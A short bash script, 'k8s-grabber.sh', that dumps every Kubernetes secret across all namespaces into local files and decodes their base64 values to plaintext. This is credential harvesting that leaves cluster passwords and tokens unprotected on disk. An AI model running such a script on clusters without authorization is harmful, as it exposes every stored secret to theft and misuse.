k8s-grabber.sh

#!/bin/bash

# Get all secrets in all namespaces
secrets=$(kubectl get secrets --all-namespaces -o json)

# Loop over every secret and namespace
for secret in $(echo "${secrets}" | jq -r '.items[] | @base64'); do
  secret_data=$(echo ${secret} | base64 --decode | jq -r '.metadata.namespace + "/" + .metadata.name')
  namespace=$(echo ${secret_data} | cut -d '/' -f 1)
  secret_name=$(echo ${secret_data} | cut -d '/' -f 2)
  full_secret_data=$(echo ${secret} | base64 --decode)

  mkdir $namespace
  echo "$full_secret_data" > $namespace/$secret_name.data
  
done
find .  -type f | while read file; do   jq '.data |= with_entries(.value |= @base64d)' "$file" > "$file.tmp";      mv "$file.tmp" "$file"; done